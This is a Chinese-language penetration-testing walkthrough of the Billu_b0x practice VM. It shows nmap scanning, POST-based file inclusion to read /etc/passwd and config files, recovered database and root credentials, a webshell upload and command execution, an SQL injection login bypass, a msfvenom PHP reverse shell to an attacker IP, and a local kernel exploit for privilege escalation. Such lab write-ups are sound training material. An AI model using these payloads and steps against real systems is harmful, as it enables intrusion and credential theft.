Billu_b0x渗透这个靶机也是断断续续地耗时了近两天的时间,其中也遇到了一些难题,这个靶机很适合我们这种初级的学习者,其中不乏趣味性,也有点难度,但总体思路是清晰的,有兴趣的同学不妨试试。——阿镇AZhen
主机发现和信息收集
arp-scan -l
nmap -sS -A -Pn -p- -n 192.168.8.129
WEB渗透
Show me your SQLI skills
看来这个靶机是考验SQL注入的
1' and '1'='1 -- -
1" or "1"="1 #
1'> and <'1'>=<'1 -- -
构造各种注入,sqlmap -r 跑包,开到level 5,还是没有找到注入点
注入无望了。。。
dir爆目录
可疑目录有很多:
http://192.168.8.129:80/uploaded_images/
http://192.168.8.129/uploaded_images/c.JPG
http://192.168.8.129:80/phpmy/
http://192.168.8.129:80/server-status/
http://192.168.8.129:80/in.php
http://192.168.8.129:80/c.php
http://192.168.8.129:80/add.php
http://192.168.8.129:80/test.php
……
看到了很多图片和php,以为是马
尝试了c.php,密码:c 但是菜刀连接不上
1、爆出来的目录中发现了phpinfo和phpmyadmin
http://192.168.8.129/in.php
http://192.168.8.129:80/phpmy/
发现了 allow_url_fopen 是on
想到了本地文件包含、读取
phpmyadmin登录,先别爆破。。。
2、还发现了 http://192.168.8.129/add.php 图片文件上传
直接上图片马试试,图片上传没有回显
3、发现了一个特殊的test.php : http://192.168.8.129:80/test.php
提示了文件file的参数为空,想必是 文件包含
文件包含
POST包含读取/etc/passwd
想直接一步到位读取/etc/passwd
http://192.168.8.129/test.php?file=../../../../../etc/passwd
无法成功
尝试一下post模式,在file中用hackbar,post参数 file=../../../../../etc/passwd
发现成功读取到passwd文件,down下来
在本地打开passwd
发现了root和ica用户可以登录ssh
POST读取其他php文件
通过burp截包后右键选择
change request method
改为POST重放,可以读取到本地的文件:
1、/etc/passwd
2、试试之前被我怀疑为小马的c.php:
竟然不是马,而是config.php。可以看到:
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
拿到了登录数据库(ica_lab)的账号密码:billu,b0x_billu
登录一下phpmyadmin:http://192.168.8.129:80/phpmy 成功
在ica_lab.auth表中发现了账号: biLLu
, 密码:hEx_it
这个应该就是首页登录的用户名和密码。
3、想看看上传界面 http://192.168.8.129/add.php 的源码,构造一下上传小马提权
发现就一纯静态的网页,枉费我尝试了那么久
上传图片马
账号: biLLu , 密码:hEx_it
登录 http://192.168.8.129
发现了文件上传界面,这次是真的了
先用文件包含down下来审计一下panel.php的源码,好构造上传小马
很明显,存在文件包含漏洞,上传一句话图片马,再用菜刀连接
上传成功后,可以看到
文件包含getshell
上传的图片的路径为:
http://192.168.8.129/uploaded_images/tnt.jpg
用panel.php或者test.php文件包含它:
file=uploaded_images/tnt.jpg
忽略panel.php或者test.php包含的文件只能以POST访问到,菜刀没法连接
换个思路
1、上传一个cmd命令执行图片马,然后进行写入一句话,菜刀连接提权。
在cmd.jsp图片中插入一句话cmd命令马 :
2、使用burp执行命令:用POST请求执行cmd命令:POST /panel.php?cmd=cat /etc/passwd
POST的body中包含cmd.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue
成功执行命令cat /etc/passwd
,原网页全部乱码,直接右键查看源代码能显示passwd文件 cat /etc/passwd。
3、执行cmd命令
ls -la
查看那个目录能够写文件, 通过写入一个小马文件,利用菜刀连接
发现了uploaded_images可写,在hackbar中直接以POST方式写一句话到/uploaded_images下的shell.php
http://192.168.8.129/panel.php?cmd=echo '' >> uploaded_images/shell.php
load=/uploaded_images/cmd.jpg&continue=continue
用cat uploaded_images/shell.php
可以看到已经成功写入一句话木马到shell.php
4、菜刀连接shell.php
路径:http://192.168.8.129/uploaded_images/shell.php 密码:mm
连接成功
提权
uname -a
和cat /etc/issus
查看系统的版本信息和内核为:Ubuntu 12.04.5 LTS、Linux indishell 3.13.0-32-generic
在kali中searchsploit Ubuntu 12.04
选择相应的linux版本,将exp拷贝到根路径下:
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/
赋予执行权限 chmod 777 37292.c
在kali本机上gcc编译后生成exp gcc 37292.c -o exp
将当前目录下生成的exp用菜刀上传至靶机上直接运行
屡次提权失败,不知道原因,既然菜刀都连上了,不妨用kaili生成后门,正好学习一下
看到当前目录通篇都是php环境,很自然想到用msfvenom生成一个php后门,菜刀上传,触发它反弹再提权
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.8.253 -f raw >/root/桌面/share/sha.php
开启msf配置好handler:
use exploit/multi/handler
set lhost 192.168.8.253
set payload php/meterpreter/reverse_tcp
run
触发后门:http://192.168.8.129/uploaded_images/sha.php
反弹拿到shell,直接运行之前编译好的exp提取
提权成功
想破解一下另外一个用户ica的ssh密码
cat /etc/shadow
ica:$6$yAfsVVEV$UMXZ7KKc2Xhk6tTukMl.QkFN34d/PLRtKYZCFZzZKFyym3uzhVcWongiw1RIFtGJQyJL2a8vAwG13VHijFbzM.:17244:0:99999:7:::
这串拿去john解一下,没解出来,算了
方法二
已知test.php能够包含并读取本地文件,
那不妨利用http://192.168.8.129/test.php?file=xx
继续包含
1、继续爆目录,从/phpmy开始爆
一般来说phpmyadmin的默认的配置文件是:config.inc.php
在linux主机的apach中猜测路径默认在/var/www/phpmy
下面
2、采用POST模式包含该配置文件,通过文件包含,读取config.inc.php文件
down下来后,打开查看:
uses:root
password:roottoor
直接以root登录ssh
ssh [email protected]
方法三
用test.php去包含首页登录的index.php,审计源码,进行sql注入绕过
源码中:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
sql注入一个重要的原则就是闭合输入查询,str_replace的作用是将字符串' 替换为空,因此构造SQL注入登录payload时,必须含有'字符串,urldecode的作用是将输入解码。
构造sql注入语句闭合绕过登录:
'or 1=1-- -\'
在线的php调试工具测试通过
用payload:'or 1=1-- -\'
成功绕过登录
之后进行上马,文件包含,读文件,反弹shell提权操作。
总结
1、在web首页登录入口处,提示了SQL注入绕过,但由于不知道源码,无法闭合输入进行绕过,直接用sqlmap -r跑包也没有注出来,也不应该在此处浪费太多时间。
2、一般来说,在web渗透之前先做好信息收集工作,用dir跑目录,能够得到一些意想不到的信息,比如test.php和phpmy.php、phpinfo等,同时也不要忘记右键源码的重要性。
3、本次渗透的重点是文件包含,在in.php中看到的allow_url_fopen 是on,还有在test.php看到提示了file这个参数,很自然要想到文件包含;当然尝试了很多GET形式去读文件,都没效果,这里也是一个难点,可以尝试用POST方式去读文件。
4、接下来有多种方法,可以一步到位地读取config.ini.php这个存放数据库连接的root用户和密码,直接登录root,这仅局限于有权限读的情况下。同时根据首页的SQL注入绕过,可以审计index.php的源码,进行构造payload绕过登录。
5、在登录首页后,审计panel.php的源码发现还有文件包含,那就可以直接包含上传的图片马,这里也是一个关键点,由于GET形式无法包含成功,可以想到上传命令执行cmd马进行操作,之后采用hackbar或者burp进行POST写入一句话文件,菜刀连接。
6、查看靶机系统的内核和版本信息,一般在kali查找相应的exp,用菜刀上传提权,但遇到反弹不成功,所以另辟蹊径,采用msfvenom生成php后门,触发反弹提权。
Billu_b0x靶机下载百度云
链接:https://pan.baidu.com/s/1_J1ChwspxeBGTYvv0NGVCw
提取码:88yo